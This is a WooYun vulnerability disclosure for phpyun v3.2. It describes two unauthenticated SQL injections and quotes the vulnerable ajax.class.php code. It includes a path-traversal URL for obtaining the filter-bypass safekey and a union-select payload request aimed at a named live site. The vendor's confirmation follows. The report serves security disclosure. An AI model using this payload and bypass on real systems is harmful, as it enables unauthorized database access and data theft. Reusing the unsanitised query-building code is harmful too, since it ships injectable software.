当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088478

漏洞标题:phpyun v3.2 (20141222) 两处注入 (无需登录)

相关厂商:php云人才系统

漏洞作者: ′雨。

提交时间:2014-12-25 15:36

修复时间:2015-03-25 15:38

公开时间:2015-03-25 15:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2014-12-29: 细节向第三方安全合作伙伴开放
2015-02-19: 细节向核心白帽子及相关领域专家公开
2015-03-01: 细节向普通白帽子公开
2015-03-11: 细节向实习白帽子公开
2015-03-25: 细节向公众公开

简要描述:

直接出管理数据。 不需要盲注。

详细说明:

第一处 在model/ajax.class.php中

function exchanges_action(){
$_GET['page']=$_POST['page'];
$where=$_POST['jobwhere']." ORDER BY `lastupdate` DESC";//这里关键点, 可以看到前面还接了一个$_POST['jobwhere'] 。
$urlarr['page']="{{page}}";
$pageurl=$this->url("index","index",$urlarr);

$rows=$this->get_page("company_job",$where,$pageurl,6,"`id`,`name`,`uid`,`salary`,`edu`,`lastupdate`");//这里把where带入查询。


if($rows&&is_array($rows)){
include(PLUS_PATH."com.cache.php");
if(count($rows)<6){
$page=1;
}else{
$page=intval($_GET['page'])+1;
}
$html="<input type=\"hidden\" value='".$page."' id='exchangep'/>";
foreach($rows as $key=>$val){
$job_url=$this->config[sy_weburl]."/".$this->url("index","com",array("c"=>"comapply","id"=>$val[id]),"1");
$time = date("Y年m月d日",$val['lastupdate']);
$html.="<div class=\"index_job_list\"><div class=\"jobtit\"><a title=\"".$val['name']."\" target=\"_blank\" href=\"".$job_url."\">".$val['name']."</a>
<em class=\"endtime\">".$time."</em></div><div class=\"award\"><span>薪资:".$comclass_name[$val['salary']]."</span><em> 学历:".$comclass_name[$val['edu']]."</em></div><div class=\"go\"><a target=\"_blank\" href=\"".$job_url."\">查看职位>></a></div></div>";
}
}
echo $html;die;//最后输出


if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])//继续拿到safekey绕过过滤
{
foreach($_POST as $id=>$v){

$str = html_entity_decode($v,ENT_QUOTES,"GB2312");

$v = common_htmlspecialchars($id,$v,$str,$config);

safesql($id,$v,"POST",$config);

$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id] = $v;
}
}


http://www.hr135.com/company/index.php?m=index&c=index&id=3751&style=../../template/admin&tp=/admin_web_config
然后计算一下拿到safekey
再请求
www.hr135.com/index.php/admin/?m=ajax&c=exchanges
jobwhere=1=2 union select/**/1,0x48656C6C6F2070687079756E,3,4,5,6#&safekey=5f413c6ca895a192144c0182fc87af26

p13.jpg


因为demo有安全狗。。 懒得去搞了 直接union select 输出一个hello phpyun把。
第二处 也是model/ajax.class.php中

function Refresh_job_action()
{
if($_POST['ids']){
$num=count($_POST['ids']);//统计下数目
}else{
$num=$this->obj->DB_select_num("company_job","`state`='1' and `uid`='".$this->uid."'");
}
if($num==0)
{
echo "您暂无正常职位!";die;
}

$statis=$this->obj->DB_select_once("company_statis","`uid`='".$this->uid."'");
if($statis['vip_etime']>time() || $statis['vip_etime']=="0")
{
if($statis['rating_type']==1)
{
if($statis['breakjob_num']>=$num){
$value="`breakjob_num`=`breakjob_num`-$num";
$this->obj->DB_update_all("company_statis",$value,"`uid`='".$this->uid."'");
}else{
if($this->config['com_integral_online']=="1"){
$integral=$this->config['integral_jobefresh']*($num-$statis['breakjob_num']);
if($statis['integral']<$integral){
echo "会员刷新职位数、".$this->config['integral_pricename']."均不足!";die;
}else{
$value="`breakjob_num`='0',`integral`=`integral`-$integral";
$this->obj->DB_update_all("company_statis",$value,"`uid`='".$this->uid."'");
$this->insert_company_pay($integral,2,$this->uid,'批量刷新职位',1,8);
}
}else{
echo "会员刷新职位数不足!";die;
}
}
}
}else{
if($this->config['com_integral_online']=="1"){
$integral=$this->config['integral_jobefresh']*($num-$statis['breakjob_num']);
if($statis['integral']<$integral){
echo "会员刷新职位数、".$this->config['integral_pricename']."均不足!";die;
}else{
$value="`breakjob_num`='0',`integral`=`integral`-$integral";
$this->obj->DB_update_all("company_statis",$value,"`uid`='".$this->uid."'");
$this->insert_company_pay($integral,2,$this->uid,'批量刷新职位',1,8);
}
}else{
echo "会员刷新职位数不足!";die;
}
}
if($_POST['ids']!=""){
//这里关键点。 当post来的ids不为空的时候
$ids=@implode(",",$_POST['ids']);
//又组合成字符串 下面直接把组合成的字符串带入到了查询当中
// 而且组合成的字符串带入查询的时候并没有被单引号 所以可以注入
$nid=$this->obj->DB_update_all("company_job","`lastupdate`='".time()."'","`id` in (".$ids.") and `uid`='".$this->uid."'");//注入点
}else{
$nid=$this->obj->DB_update_all("company_job","`lastupdate`='".time()."'","`status`='1' and `uid`='".$this->uid."'");
}

漏洞证明:

p13.jpg

修复方案:

第一个限制一下。
第二个用你们的pylode转型下把。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-12-26 17:34

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无